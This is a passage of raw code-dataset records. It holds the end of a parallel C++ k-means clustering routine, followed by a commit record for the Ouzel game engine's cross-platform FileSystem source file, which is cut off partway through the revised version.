end\";\n\t}\n\n\t\/**\n\t * \\brief A parallel version of the kmeans++ initialization alg.\n\t * See: http:\/\/ilpubs.stanford.edu:8090\/778\/1\/2006-13.pdf for algorithm\n\t *\/\n\tstatic void kmeanspp_init(const double* matrix, clusters::ptr clusters,\n unsigned* cluster_assignments, std::vector<double>& dist_v) {\n\n\t\t\/\/ Choose c1 uniiformly at random\n\t\tunsigned selected_idx = random() % NUM_ROWS; \/\/ 0...(NUM_ROWS-1)\n\n clusters->set_mean(&matrix[selected_idx*NUM_COLS], 0);\n\t\tdist_v[selected_idx] = 0.0;\n\n#if KM_TEST\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\nChoosing \"\n << selected_idx << \" as center K = 0\";\n#endif\n\n\t\tunsigned clust_idx = 0; \/\/ The number of clusters assigned\n\n\t\t\/\/ Choose next center c_i with weighted prob\n\t\twhile ((clust_idx + 1) < K) {\n\t\t\tdouble cum_dist = 0;\n#pragma omp parallel for reduction(+:cum_dist) shared (dist_v)\n\t\t\tfor (size_t row = 0; row < NUM_ROWS; row++) {\n double dist = dist_comp_raw(&matrix[row*NUM_COLS],\n &((clusters->get_means())[clust_idx*NUM_COLS]), NUM_COLS);\n\n\t\t\t\tif (dist < dist_v[row]) { \/\/ Found a closer cluster than before\n\t\t\t\t\tdist_v[row] = dist;\n cluster_assignments[row] = clust_idx;\n\t\t\t\t}\n\t\t\t\tcum_dist += dist_v[row];\n\t\t\t}\n\n\t\t\tcum_dist = (cum_dist * ((double)random())) \/ (RAND_MAX - 1.0);\n\t\t\tclust_idx++;\n\n\t\t\tfor (size_t i=0; i < NUM_ROWS; i++) {\n\t\t\t\tcum_dist -= dist_v[i];\n\t\t\t\tif (cum_dist <= 0) {\n#if KM_TEST\n\t\t\t\t\tBOOST_LOG_TRIVIAL(info) << \"Choosing \"\n << i << \" as center K = \" << clust_idx;\n#endif\n clusters->set_mean(&(matrix[i*NUM_COLS]), clust_idx);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tassert (cum_dist <= 0);\n\t\t}\n\n#if VERBOSE\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\nCluster centers after kmeans++\"; clusters->print_means();\n#endif\n\t}\n\n\n\t\/**\n\t * \\brief Update the cluster assignments while recomputing distance matrix.\n\t * \\param matrix The flattened matrix who's rows are being clustered.\n\t * \\param clusters The cluster centers (means) flattened matrix.\n\t *\t\\param cluster_assignments Which cluster each sample falls into.\n\t *\/\n\tstatic void EM_step(const double* matrix, clusters::ptr cls,\n unsigned* cluster_assignments, unsigned* cluster_assignment_counts) {\n\n\t\tstd::vector<clusters::ptr> pt_cl(OMP_MAX_THREADS);\n \/\/ Per thread changed cluster count. OMP_MAX_THREADS\n\t\tstd::vector<size_t> pt_num_change(OMP_MAX_THREADS);\n\n for (int i = 0; i < OMP_MAX_THREADS; i++)\n pt_cl[i] = clusters::create(K, NUM_COLS);\n\n#pragma omp parallel for firstprivate(matrix, pt_cl)\\\n shared(cluster_assignments) schedule(static)\n\t\tfor (unsigned row = 0; row < NUM_ROWS; row++) {\n\n size_t asgnd_clust = INVALID_CLUSTER_ID;\n double best, dist;\n dist = best = std::numeric_limits<double>::max();\n\n for (unsigned clust_idx = 0; clust_idx < K; clust_idx++) {\n dist = dist_comp_raw(&matrix[row*NUM_COLS],\n &(cls->get_means()[clust_idx*NUM_COLS]), NUM_COLS);\n\n if (dist < best) {\n best = dist;\n asgnd_clust = clust_idx;\n }\n }\n\n BOOST_VERIFY(asgnd_clust != INVALID_CLUSTER_ID);\n\n if (asgnd_clust != cluster_assignments[row]) {\n pt_num_change[omp_get_thread_num()]++;\n }\n cluster_assignments[row] = asgnd_clust;\n pt_cl[omp_get_thread_num()]->add_member(&matrix[row*NUM_COLS], asgnd_clust);\n \/\/ Accumulate for local copies\n\t\t}\n\n#if VERBOSE\n\t\tBOOST_LOG_TRIVIAL(info) << \"Clearing cluster assignment counts\";\n\t\tBOOST_LOG_TRIVIAL(info) << \"Clearing cluster centers ...\";\n#endif\n cls->clear();\n\n\t\t\/\/ Serial aggreate of OMP_MAX_THREADS vectors\n \/\/ TODO: Pool these\n\t\tfor (int thd = 0; thd < OMP_MAX_THREADS; thd++) {\n\t\t\t\/\/ Updated the changed cluster count\n\t\t\tg_num_changed += pt_num_change[thd];\n\t\t\t\/\/ Summation for cluster centers\n cls->peq(pt_cl[thd]);\n\t\t}\n\n unsigned chk_nmemb = 0;\n for (unsigned clust_idx = 0; clust_idx < K; clust_idx++) {\n cls->finalize(clust_idx);\n cluster_assignment_counts[clust_idx] = cls->get_num_members(clust_idx);\n chk_nmemb += cluster_assignment_counts[clust_idx];\n }\n BOOST_VERIFY(chk_nmemb == NUM_ROWS);\n\n#if KM_TEST\n\t\tBOOST_LOG_TRIVIAL(info) << \"Global number of changes: \" << g_num_changed;\n#endif\n\t}\n}\n\nnamespace fg\n{\n\tunsigned compute_kmeans(const double* matrix, double* clusters_ptr,\n\t\t\tunsigned* cluster_assignments, unsigned* cluster_assignment_counts,\n\t\t\tconst unsigned num_rows, const unsigned num_cols, const unsigned k,\n const unsigned MAX_ITERS, const int max_threads, const std::string init,\n const double tolerance, const std::string dist_type)\n\t{\n#ifdef PROFILER\n\t\tProfilerStart(\"matrix\/kmeans.perf\");\n#endif\n\t\tNUM_COLS = num_cols;\n\t\tK = k;\n\t\tNUM_ROWS = num_rows;\n\t\tassert(max_threads > 0);\n\n\t\tOMP_MAX_THREADS = std::min(max_threads, get_num_omp_threads());\n\t\tomp_set_num_threads(OMP_MAX_THREADS);\n\t\tBOOST_LOG_TRIVIAL(info) << \"Running on \" << OMP_MAX_THREADS << \" threads!\";\n\n \/\/ Check k\n\t\tif (K > NUM_ROWS || K < 2 || K == (unsigned)-1) {\n\t\t\tBOOST_LOG_TRIVIAL(fatal)\n\t\t\t\t<< \"'k' must be between 2 and the number of rows in the matrix\" <<\n\t\t\t\t\"k = \" << K;\n\t\t\texit(-1);\n\t\t}\n\n \/*BOOST_LOG_TRIVIAL(info) << \"Projecting onto a sphere:\";\n spherical_projection(matrix, NUM_ROWS, NUM_COLS);*\/\n\n\t\tgettimeofday(&start , NULL);\n\t\t\/*** Begin VarInit of data structures ***\/\n std::fill(&cluster_assignments[0], (&cluster_assignments[0])+NUM_ROWS, -1);\n std::fill(&cluster_assignment_counts[0], (&cluster_assignment_counts[0])+K, 0);\n\n clusters::ptr clusters = clusters::create(K, NUM_COLS);\n\n if (init == \"none\")\n clusters->set_mean(clusters_ptr);\n\n std::vector<double> dist_v;\n dist_v.assign(NUM_ROWS, std::numeric_limits<double>::max());\n\n\t\t\/*** End VarInit ***\/\n BOOST_LOG_TRIVIAL(info) << \"Dist_type is \" << dist_type;\n if (dist_type == \"eucl\") {\n g_dist_type = EUCL;\n } else if (dist_type == \"cos\") {\n g_dist_type = COS;\n } else {\n BOOST_LOG_TRIVIAL(fatal)\n << \"[ERROR]: param dist_type must be one of: 'eucl', 'cos'.It is '\"\n << dist_type << \"'\";\n exit(-1);\n }\n\n if (init == \"random\") {\n random_partition_init(cluster_assignments, matrix, clusters);\n g_init_type = RANDOM;\n } else if (init == \"forgy\") {\n forgy_init(matrix, clusters);\n g_init_type = FORGY;\n } else if (init == \"kmeanspp\") {\n kmeanspp_init(matrix, clusters, cluster_assignments, dist_v);\n g_init_type = PLUSPLUS;\n } else if (init == \"none\") {\n g_init_type = NONE;\n } else {\n BOOST_LOG_TRIVIAL(fatal)\n << \"[ERROR]: param init must be one of: \"\n \"'random', 'forgy', 'kmeanspp'.It is '\"\n << init << \"'\";\n exit(-1);\n }\n\n if (g_init_type == NONE || g_init_type == FORGY\n || g_init_type == RANDOM) {\n\t\t\tEM_step(matrix, clusters, cluster_assignments,\n cluster_assignment_counts);\n }\n\n\t\tgettimeofday(&end, NULL);\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n\\nInitialization time taken = \" <<\n\t\t\ttime_diff(start, end) << \" sec\\n\";\n\t\tgettimeofday(&start , NULL);\n\n BOOST_LOG_TRIVIAL(info) << \"Init is '\" << init << \"'\";\n\t\tBOOST_LOG_TRIVIAL(info) << \"Matrix K-means starting ...\";\n#if 0\n FILE* f;\n BOOST_VERIFY(f =\n fopen(\"\/mnt\/nfs\/disa\/data\/big\/friendster-8-10centers\", \"wb\"));\n fwrite(&((clusters->get_means())[0]),\n sizeof(double)*NUM_COLS*K, 1, f);\n fclose(f);\n printf(\"\\n\\nCenters should be:\\n\");\n clusters->print_means();\n exit(1);\n#endif\n\t\tbool converged = false;\n\t\tstd::string str_iters = MAX_ITERS == std::numeric_limits<unsigned>::max() ?\n\t\t\t\"until convergence ...\":\n\t\t\tstd::to_string(MAX_ITERS) + \" iterations ...\";\n\t\tBOOST_LOG_TRIVIAL(info) << \"Computing \" << str_iters;\n\t\tunsigned iter = 1;\n\n\t\twhile (iter < MAX_ITERS) {\n\t\t\t\/\/ Hold cluster assignment counter\n\t\t\tBOOST_LOG_TRIVIAL(info) << \"E-step Iteration \" << iter <<\n\t\t\t\t\". Computing cluster assignments ...\";\n\t\t\tEM_step(matrix, clusters, cluster_assignments,\n cluster_assignment_counts);\n#if KM_TEST\n printf(\"Cluster assignment counts: \");\n print_arr(cluster_assignment_counts, K);\n#endif\n\n\t\t\tif (g_num_changed == 0 || ((g_num_changed\/(double)NUM_ROWS))\n <= tolerance) {\n\t\t\t\tconverged = true;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\tg_num_changed = 0;\n\t\t\t}\n\t\t\titer++;\n\t\t}\n\n\t\tgettimeofday(&end, NULL);\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n\\nAlgorithmic time taken = \" <<\n\t\t\ttime_diff(start, end) << \" sec\\n\";\n\n#ifdef PROFILER\n\t\tProfilerStop();\n#endif\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n******************************************\\n\";\n\n\t\tif (converged) {\n\t\t\tBOOST_LOG_TRIVIAL(info) <<\n\t\t\t\t\"K-means converged in \" << iter << \" iterations\";\n\t\t} else {\n\t\t\tBOOST_LOG_TRIVIAL(warning) << \"[Warning]: K-means failed to converge in \"\n\t\t\t\t<< iter << \" iterations\";\n\t\t}\n\t\tBOOST_LOG_TRIVIAL(info) << \"\\n******************************************\\n\";\n\n#if VERBOSE\n printf(\"Computed bic: %f\\n\", get_bic(dist_v, NUM_ROWS, NUM_COLS, K));\n unsigned max_index = (std::max_element(cluster_assignment_counts,\n cluster_assignment_counts+K) - cluster_assignment_counts);\n\n store_cluster(max_index, matrix, cluster_assignment_counts[max_index],\n cluster_assignments, NUM_ROWS, NUM_COLS, \"\/mnt\/nfs\/disa\/data\/big\/\");\n#endif\n\n\t\treturn iter;\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>119 solved<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2015-2020 Elviss Strazdins. All rights reserved.\n\n#include \"..\/core\/Setup.h\"\n\n#include <algorithm>\n#include <fstream>\n#if defined(_WIN32)\n# pragma push_macro(\"WIN32_LEAN_AND_MEAN\")\n# pragma push_macro(\"NOMINMAX\")\n# ifndef WIN32_LEAN_AND_MEAN\n# define WIN32_LEAN_AND_MEAN\n# endif\n# ifndef NOMINMAX\n# define NOMINMAX\n# endif\n# include <Windows.h>\n# include <ShlObj.h>\n# include <Shlwapi.h>\n# include <strsafe.h>\n# pragma pop_macro(\"WIN32_LEAN_AND_MEAN\")\n# pragma pop_macro(\"NOMINMAX\")\n#elif defined(__APPLE__)\n# include <TargetConditionals.h>\n# include <objc\/message.h>\n# include <objc\/NSObjCRuntime.h>\n# include <CoreFoundation\/CoreFoundation.h>\n#elif defined(__ANDROID__)\n# include \"..\/core\/android\/EngineAndroid.hpp\"\n#elif defined(__linux__)\n# include <pwd.h>\n#endif\n\n#include \"FileSystem.hpp\"\n#include \"Archive.hpp\"\n#include \"..\/core\/Engine.hpp\"\n#include \"..\/utils\/Log.hpp\"\n\n#if defined(__APPLE__)\n# include \"CfPointer.hpp\"\n#endif\n\nnamespace ouzel\n{\n namespace storage\n {\n FileSystem::FileSystem(Engine& initEngine):\n engine(initEngine)\n {\n#if defined(_WIN32)\n HINSTANCE instance = GetModuleHandleW(nullptr);\n if (!instance)\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module handle\");\n std::vector<WCHAR> buffer(MAX_PATH + 1);\n for (;;)\n {\n if (!GetModuleFileNameW(instance, buffer.data(), static_cast<DWORD>(buffer.size())))\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module filename\");\n\n if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n buffer.resize(buffer.size() * 2);\n else\n break;\n }\n\n const auto executablePath = Path{buffer.data(), Path::Format::Native};\n appPath = executablePath.getDirectory();\n engine.log(Log::Level::Info) << \"Application directory: \" << appPath;\n\n#elif defined(__APPLE__)\n CFBundleRef bundle = CFBundleGetMainBundle();\n if (!bundle)\n throw std::runtime_error(\"Failed to get main bundle\");\n\n CfPointer<CFURLRef> relativePath = CFBundleCopyResourcesDirectoryURL(bundle);\n if (!relativePath)\n throw std::runtime_error(\"Failed to get resource directory\");\n\n CfPointer<CFURLRef> absolutePath = CFURLCopyAbsoluteURL(relativePath.get());\n CfPointer<CFStringRef> path = CFURLCopyFileSystemPath(absolutePath.get(), kCFURLPOSIXPathStyle);\n\n const CFIndex maximumSize = CFStringGetMaximumSizeOfFileSystemRepresentation(path.get());\n std::vector<char> resourceDirectory(static_cast<std::size_t>(maximumSize));\n const Boolean result = CFStringGetFileSystemRepresentation(path.get(), resourceDirectory.data(), maximumSize);\n if (!result)\n throw std::runtime_error(\"Failed to get resource directory\");\n\n appPath = Path{resourceDirectory.data(), Path::Format::Native};\n engine.log(Log::Level::Info) << \"Application directory: \" << appPath;\n\n#elif defined(__ANDROID__)\n \/\/ not available for Android\n\n#elif defined(__linux__)\n char executableDirectory[PATH_MAX];\n\n ssize_t length;\n if ((length = readlink(\"\/proc\/self\/exe\", executableDirectory, sizeof(executableDirectory) - 1)) == -1)\n throw std::system_error(errno, std::system_category(), \"Failed to get current directory\");\n\n executableDirectory[length] = '\\0';\n const auto executablePath = Path{executableDirectory, Path::Format::Native};\n appPath = executablePath.getDirectory();\n engine.log(Log::Level::Info) << \"Application directory: \" << appPath;\n#endif\n }\n\n Path FileSystem::getStorageDirectory(const bool user) const\n {\n#if defined(_WIN32)\n WCHAR appDataPath[MAX_PATH];\n\n HRESULT hr;\n if (FAILED(hr = SHGetFolderPathW(nullptr, (user ? CSIDL_LOCAL_APPDATA : CSIDL_COMMON_APPDATA) | CSIDL_FLAG_CREATE, nullptr, SHGFP_TYPE_CURRENT, appDataPath)))\n throw std::system_error(hr, std::system_category(), \"Failed to get the path of the AppData directory\");\n\n Path path = Path{appDataPath, Path::Format::Native};\n\n HINSTANCE instance = GetModuleHandleW(nullptr);\n if (!instance)\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module handle\");\n std::vector<WCHAR> buffer(MAX_PATH + 1);\n for (;;)\n {\n if (!GetModuleFileNameW(instance, buffer.data(), static_cast<DWORD>(buffer.size())))\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module filename\");\n\n if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n buffer.resize(buffer.size() * 2);\n else\n break;\n }\n\n const auto executablePath = Path{buffer.data(), Path::Format::Native};\n DWORD handle;\n const DWORD fileVersionSize = GetFileVersionInfoSizeW(executablePath.getNative().c_str(), &handle);\n if (!fileVersionSize)\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get file version size\");\n\n auto fileVersionBuffer = std::make_unique<char[]>(fileVersionSize);\n if (!GetFileVersionInfoW(executablePath.getNative().c_str(),\n handle, fileVersionSize,\n fileVersionBuffer.get()))\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get file version\");\n\n LPWSTR companyName = nullptr;\n LPWSTR productName = nullptr;\n\n struct LANGANDCODEPAGE final\n {\n WORD wLanguage;\n WORD wCodePage;\n };\n LPVOID translationPointer;\n UINT translationLength;\n\n if (VerQueryValueW(fileVersionBuffer.get(),\n L\"\\\\VarFileInfo\\\\Translation\",\n &translationPointer,\n &translationLength))\n {\n auto translation = static_cast<const LANGANDCODEPAGE*>(translationPointer);\n\n for (UINT i = 0; i < translationLength \/ sizeof(LANGANDCODEPAGE); ++i)\n {\n constexpr size_t subBlockSize = 37;\n WCHAR subBlock[subBlockSize];\n\n StringCchPrintfW(subBlock, subBlockSize,\n L\"\\\\StringFileInfo\\\\040904b0\\\\CompanyName\",\n translation[i].wLanguage,\n translation[i].wCodePage);\n\n LPVOID companyNamePointer;\n UINT companyNameLength;\n if (VerQueryValueW(fileVersionBuffer.get(),\n subBlock,\n &companyNamePointer,\n &companyNameLength))\n companyName = static_cast<LPWSTR>(companyNamePointer);\n\n\n StringCchPrintfW(subBlock, subBlockSize,\n L\"\\\\StringFileInfo\\\\040904b0\\\\ProductName\",\n translation[i].wLanguage,\n translation[i].wCodePage);\n\n LPVOID productNamePointer;\n UINT productNameLength;\n if (VerQueryValueW(fileVersionBuffer.get(),\n subBlock,\n &productNamePointer,\n &productNameLength))\n productName = static_cast<LPWSTR>(productNamePointer);\n }\n }\n\n if (companyName)\n path \/= companyName;\n else\n path \/= OUZEL_DEVELOPER_NAME;\n\n if (!path.isDirectory())\n createDirectory(path);\n\n if (productName)\n path \/= productName;\n else\n path \/= OUZEL_APPLICATION_NAME;\n\n if (!path.isDirectory())\n createDirectory(path);\n\n return path;\n#elif TARGET_OS_IOS || TARGET_OS_TV\n id fileManager = reinterpret_cast<id (*)(Class, SEL)>(&objc_msgSend)(objc_getClass(\"NSFileManager\"), sel_getUid(\"defaultManager\"));\n\n constexpr NSUInteger NSDocumentDirectory = 9;\n constexpr NSUInteger NSUserDomainMask = 1;\n constexpr NSUInteger NSLocalDomainMask = 2;\n\n id documentDirectory = reinterpret_cast<id (*)(id, SEL, NSUInteger, NSUInteger, id, BOOL, id*)>(&objc_msgSend)(fileManager, sel_getUid(\"URLForDirectory:inDomain:appropriateForURL:create:error:\"), NSDocumentDirectory, user ? NSUserDomainMask : NSLocalDomainMask, nil, YES, nil);\n\n if (!documentDirectory)\n throw std::runtime_error(\"Failed to get document directory\");\n\n id documentDirectoryString = reinterpret_cast<id (*)(id, SEL)>(&objc_msgSend)(documentDirectory, sel_getUid(\"path\"));\n auto pathUtf8String = reinterpret_cast<const char* (*)(id, SEL)>(&objc_msgSend)(documentDirectoryString, sel_getUid(\"UTF8String\"));\n return Path{pathUtf8String, Path::Format::Native};\n#elif TARGET_OS_MAC\n id fileManager = reinterpret_cast<id (*)(Class, SEL)>(&objc_msgSend)(objc_getClass(\"NSFileManager\"), sel_getUid(\"defaultManager\"));\n\n constexpr NSUInteger NSApplicationSupportDirectory = 14;\n constexpr NSUInteger NSUserDomainMask = 1;\n constexpr NSUInteger NSLocalDomainMask = 2;\n\n id applicationSupportDirectory = reinterpret_cast<id (*)(id, SEL, NSUInteger, NSUInteger, id, BOOL, id*)>(&objc_msgSend)(fileManager, sel_getUid(\"URLForDirectory:inDomain:appropriateForURL:create:error:\"), NSApplicationSupportDirectory, user ? NSUserDomainMask : NSLocalDomainMask, nil, YES, nil);\n\n if (!applicationSupportDirectory)\n throw std::runtime_error(\"Failed to get application support directory\");\n\n CFBundleRef bundle = CFBundleGetMainBundle();\n CFStringRef identifier = CFBundleGetIdentifier(bundle);\n\n if (!identifier)\n identifier = CFSTR(OUZEL_DEVELOPER_NAME \".\" OUZEL_APPLICATION_NAME);\n\n id path = reinterpret_cast<id (*)(id, SEL, CFStringRef)>(&objc_msgSend)(applicationSupportDirectory, sel_getUid(\"URLByAppendingPathComponent:\"), identifier);\n reinterpret_cast<void (*)(id, SEL, id, BOOL, id, id)>(&objc_msgSend)(fileManager, sel_getUid(\"createDirectoryAtURL:withIntermediateDirectories:attributes:error:\"), path, YES, nil, nil);\n id pathString = reinterpret_cast<id (*)(id, SEL)>(&objc_msgSend)(path, sel_getUid(\"path\"));\n auto pathUtf8String = reinterpret_cast<const char* (*)(id, SEL)>(&objc_msgSend)(pathString, sel_getUid(\"UTF8String\"));\n return Path{pathUtf8String, Path::Format::Native};\n#elif defined(__ANDROID__)\n static_cast<void>(user);\n\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n return engineAndroid.getFilesDirectory();\n#elif defined(__linux__)\n Path path;\n\n const char* homeDirectory = std::getenv(\"XDG_DATA_HOME\");\n\n if (homeDirectory)\n path = Path{homeDirectory, Path::Format::Native};\n else\n {\n struct passwd pwent;\n struct passwd* pwentp;\n std::vector<char> buffer(1024);\n int e;\n\n while ((e = getpwuid_r(getuid(), &pwent, buffer.data(), buffer.size(), &pwentp)) == ERANGE)\n buffer.resize(buffer.size() * 2);\n\n if (e != 0)\n throw std::runtime_error(\"Failed to get home directory\");\n else\n path = Path{pwent.pw_dir, Path::Format::Native};\n\n path \/= \".local\";\n\n if (!directoryExists(path))\n createDirectory(path);\n\n path \/= \"share\";\n\n if (!directoryExists(path))\n createDirectory(path);\n }\n\n path \/= OUZEL_DEVELOPER_NAME;\n\n if (!directoryExists(path))\n createDirectory(path);\n\n path \/= OUZEL_APPLICATION_NAME;\n\n if (!directoryExists(path))\n createDirectory(path);\n\n return path;\n#else\n return Path{};\n#endif\n }\n\n std::vector<std::uint8_t> FileSystem::readFile(const Path& filename, const bool searchResources)\n {\n if (searchResources)\n for (auto& archive : archives)\n if (archive.second.fileExists(filename))\n return archive.second.readFile(filename);\n\n#if defined(__ANDROID__)\n if (!filename.isAbsolute())\n {\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n\n AAsset* asset = AAssetManager_open(engineAndroid.getAssetManager(), filename.getNative().c_str(), AASSET_MODE_STREAMING);\n\n if (!asset)\n throw std::runtime_error(\"Failed to open file \" + std::string(filename));\n\n std::vector<std::uint8_t> data;\n std::uint8_t buffer[1024];\n\n for (;;)\n {\n const int bytesRead = AAsset_read(asset, buffer, sizeof(buffer));\n\n if (bytesRead < 0)\n throw std::runtime_error(\"Failed to read from file\");\n else if (bytesRead == 0)\n break;\n\n data.insert(data.end(), buffer, buffer + bytesRead);\n }\n\n AAsset_close(asset);\n\n return data;\n }\n#endif\n\n const auto path = getPath(filename, searchResources);\n\n \/\/ file does not exist\n if (path.isEmpty())\n throw std::runtime_error(\"Failed to find file \" + std::string(filename));\n\n std::ifstream f(path, std::ios::binary);\n return {std::istreambuf_iterator<char>(f), std::istreambuf_iterator<char>()};\n }\n\n bool FileSystem::resourceFileExists(const Path& filename) const\n {\n if (filename.isAbsolute())\n return fileExists(filename);\n else\n {\n Path result = appPath \/ filename;\n\n if (fileExists(result))\n return true;\n else\n for (const auto& path : resourcePaths)\n {\n if (path.isAbsolute()) \/\/ if resource path is absolute\n result = path \/ filename;\n else\n result = appPath \/ path \/ filename;\n\n if (fileExists(result))\n return true;\n }\n\n return false;\n }\n }\n\n bool FileSystem::directoryExists(const Path& dirname) const\n {\n#if defined(__ANDROID__)\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n\n AAssetDir* assetDir = AAssetManager_openDir(engineAndroid.getAssetManager(), dirname.getNative().c_str());\n const bool exists = AAssetDir_getNextFileName(assetDir) != nullptr;\n AAssetDir_close(assetDir);\n\n if (exists) return true;\n#endif\n\n return isDirectory(dirname);\n }\n\n bool FileSystem::fileExists(const Path& filename) const\n {\n#if defined(__ANDROID__)\n EngineAndroid& engineAndroid = static_cast<EngineAndroid&>(engine);\n\n AAsset* asset = AAssetManager_open(engineAndroid.getAssetManager(), filename.getNative().c_str(), AASSET_MODE_STREAMING);\n\n if (asset)\n {\n AAsset_close(asset);\n return true;\n }\n#endif\n\n return isRegular(filename);\n }\n } \/\/ namespace storage\n} \/\/ namespace ouzel\n<commit_msg>Fix the Windows build<commit_after>\/\/ Copyright 2015-2020 Elviss Strazdins. All rights reserved.\n\n#include \"..\/core\/Setup.h\"\n\n#include <algorithm>\n#include <fstream>\n#if defined(_WIN32)\n# pragma push_macro(\"WIN32_LEAN_AND_MEAN\")\n# pragma push_macro(\"NOMINMAX\")\n# ifndef WIN32_LEAN_AND_MEAN\n# define WIN32_LEAN_AND_MEAN\n# endif\n# ifndef NOMINMAX\n# define NOMINMAX\n# endif\n# include <Windows.h>\n# include <ShlObj.h>\n# include <Shlwapi.h>\n# include <strsafe.h>\n# pragma pop_macro(\"WIN32_LEAN_AND_MEAN\")\n# pragma pop_macro(\"NOMINMAX\")\n#elif defined(__APPLE__)\n# include <TargetConditionals.h>\n# include <objc\/message.h>\n# include <objc\/NSObjCRuntime.h>\n# include <CoreFoundation\/CoreFoundation.h>\n#elif defined(__ANDROID__)\n# include \"..\/core\/android\/EngineAndroid.hpp\"\n#elif defined(__linux__)\n# include <pwd.h>\n#endif\n\n#include \"FileSystem.hpp\"\n#include \"Archive.hpp\"\n#include \"..\/core\/Engine.hpp\"\n#include \"..\/utils\/Log.hpp\"\n\n#if defined(__APPLE__)\n# include \"CfPointer.hpp\"\n#endif\n\nnamespace ouzel\n{\n namespace storage\n {\n FileSystem::FileSystem(Engine& initEngine):\n engine(initEngine)\n {\n#if defined(_WIN32)\n HINSTANCE instance = GetModuleHandleW(nullptr);\n if (!instance)\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module handle\");\n std::vector<WCHAR> buffer(MAX_PATH + 1);\n for (;;)\n {\n if (!GetModuleFileNameW(instance, buffer.data(), static_cast<DWORD>(buffer.size())))\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module filename\");\n\n if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n buffer.resize(buffer.size() * 2);\n else\n break;\n }\n\n const auto executablePath = Path{buffer.data(), Path::Format::Native};\n appPath = executablePath.getDirectory();\n engine.log(Log::Level::Info) << \"Application directory: \" << appPath;\n\n#elif defined(__APPLE__)\n CFBundleRef bundle = CFBundleGetMainBundle();\n if (!bundle)\n throw std::runtime_error(\"Failed to get main bundle\");\n\n CfPointer<CFURLRef> relativePath = CFBundleCopyResourcesDirectoryURL(bundle);\n if (!relativePath)\n throw std::runtime_error(\"Failed to get resource directory\");\n\n CfPointer<CFURLRef> absolutePath = CFURLCopyAbsoluteURL(relativePath.get());\n CfPointer<CFStringRef> path = CFURLCopyFileSystemPath(absolutePath.get(), kCFURLPOSIXPathStyle);\n\n const CFIndex maximumSize = CFStringGetMaximumSizeOfFileSystemRepresentation(path.get());\n std::vector<char> resourceDirectory(static_cast<std::size_t>(maximumSize));\n const Boolean result = CFStringGetFileSystemRepresentation(path.get(), resourceDirectory.data(), maximumSize);\n if (!result)\n throw std::runtime_error(\"Failed to get resource directory\");\n\n appPath = Path{resourceDirectory.data(), Path::Format::Native};\n engine.log(Log::Level::Info) << \"Application directory: \" << appPath;\n\n#elif defined(__ANDROID__)\n \/\/ not available for Android\n\n#elif defined(__linux__)\n char executableDirectory[PATH_MAX];\n\n ssize_t length;\n if ((length = readlink(\"\/proc\/self\/exe\", executableDirectory, sizeof(executableDirectory) - 1)) == -1)\n throw std::system_error(errno, std::system_category(), \"Failed to get current directory\");\n\n executableDirectory[length] = '\\0';\n const auto executablePath = Path{executableDirectory, Path::Format::Native};\n appPath = executablePath.getDirectory();\n engine.log(Log::Level::Info) << \"Application directory: \" << appPath;\n#endif\n }\n\n Path FileSystem::getStorageDirectory(const bool user) const\n {\n#if defined(_WIN32)\n WCHAR appDataPath[MAX_PATH];\n\n HRESULT hr;\n if (FAILED(hr = SHGetFolderPathW(nullptr, (user ? CSIDL_LOCAL_APPDATA : CSIDL_COMMON_APPDATA) | CSIDL_FLAG_CREATE, nullptr, SHGFP_TYPE_CURRENT, appDataPath)))\n throw std::system_error(hr, std::system_category(), \"Failed to get the path of the AppData directory\");\n\n Path path = Path{appDataPath, Path::Format::Native};\n\n HINSTANCE instance = GetModuleHandleW(nullptr);\n if (!instance)\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module handle\");\n std::vector<WCHAR> buffer(MAX_PATH + 1);\n for (;;)\n {\n if (!GetModuleFileNameW(instance, buffer.data(), static_cast<DWORD>(buffer.size())))\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get module filename\");\n\n if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)\n buffer.resize(buffer.size() * 2);\n else\n break;\n }\n\n const auto executablePath = Path{buffer.data(), Path::Format::Native};\n DWORD handle;\n const DWORD fileVersionSize = GetFileVersionInfoSizeW(executablePath.getNative().c_str(), &handle);\n if (!fileVersionSize)\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get file version size\");\n\n auto fileVersionBuffer = std::make_unique<char[]>(fileVersionSize);\n if (!GetFileVersionInfoW(executablePath.getNative().c_str(),\n handle, fileVersionSize,\n fileVersionBuffer.get()))\n throw std::system_error(GetLastError(), std::system_category(), \"Failed to get file version\");\n\n LPWSTR companyName = nullptr;\n LPWSTR productName = nullptr;\n\n struct LANGANDCODEPAGE final\n {\n WORD wLanguage;\n WORD wCodePage;\n };\n LPVOID translationPointer;\n UINT translationLength;\n\n if (VerQueryValueW(fileVersionBuffer.get(),\n L\"\\\\VarFileInfo\\\\Translation\",\n &translationPointer,\n &translationLength))\n {\n auto translation = static_cast<const LANGANDCODEPAGE*>(translationPointer);\n\n for (UINT i = 0; i < translationLength \/ sizeof(LANGANDCODEPAGE); ++i)\n {\n constexpr size_t subBlockSize = 37;\n WCHAR subBlock[subBlockSize];\n\n StringCchPrintfW(subBlock, subBlockSize,\n L\"\\\\StringFileInfo\\\\040904b0\\\\CompanyName\",\n translation[i].wLanguage,\n translation[i].wCodePage);\n\n LPVOID 